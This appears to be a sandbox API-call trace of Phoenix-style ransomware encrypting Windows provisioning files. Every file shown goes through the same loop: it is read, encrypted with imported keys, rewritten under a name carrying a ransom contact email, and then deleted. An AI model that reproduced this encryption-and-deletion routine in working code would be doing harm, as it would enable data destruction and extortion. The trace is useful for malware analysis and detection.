	[0254.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.201] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.201] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.201] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.201] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.202] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0254.202] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.202] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x350, lpOverlapped=0x0) returned 1
	[0254.203] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0254.204] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0254.205] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0254.205] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.205] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0254.205] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0254.205] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0254.205] CryptDestroyKey (hKey=0x151200) returned 1
	[0254.205] CloseHandle (hObject=0x2f4) returned 1
	[0254.205] CloseHandle (hObject=0x2d4) returned 1
	[0254.205] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml")) returned 1
	[0254.434] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.464] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=853) returned 1
	[0254.464] CloseHandle (hObject=0x2f4) returned 1
	[0254.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0254.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.465] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.465] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.465] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.465] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.468] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0254.468] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.468] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x355, lpOverlapped=0x0) returned 1
	[0254.470] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0254.470] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0254.471] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0254.471] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.471] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0254.471] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.471] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0254.471] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.471] CloseHandle (hObject=0x2f4) returned 1
	[0254.471] CloseHandle (hObject=0x2d8) returned 1
	[0254.473] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\547__connections_cellular_orange (côte d’ivoire)_i2$(__mvid)@wap.provxml")) returned 1
	[0254.474] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.474] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.475] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=850) returned 1
	[0254.475] CloseHandle (hObject=0x2d8) returned 1
	[0254.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0254.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.476] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.476] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.476] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.476] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.477] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0254.477] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.477] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x352, lpOverlapped=0x0) returned 1
	[0254.478] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0254.478] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0254.480] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0254.480] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.480] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0254.480] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.480] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0254.480] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.480] CloseHandle (hObject=0x2d8) returned 1
	[0254.480] CloseHandle (hObject=0x2f4) returned 1
	[0254.480] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml")) returned 1
	[0254.481] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.482] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.482] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=718) returned 1
	[0254.482] CloseHandle (hObject=0x2f4) returned 1
	[0254.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.483] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.483] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.483] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.483] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.484] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0254.484] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.484] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ce, lpOverlapped=0x0) returned 1
	[0254.486] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0254.486] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.486] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0254.486] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.487] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.487] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.487] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.487] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.487] CloseHandle (hObject=0x2f4) returned 1
	[0254.487] CloseHandle (hObject=0x2d8) returned 1
	[0254.487] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.488] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.488] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.489] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=705) returned 1
	[0254.489] CloseHandle (hObject=0x2d8) returned 1
	[0254.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.489] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.489] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.489] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.489] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
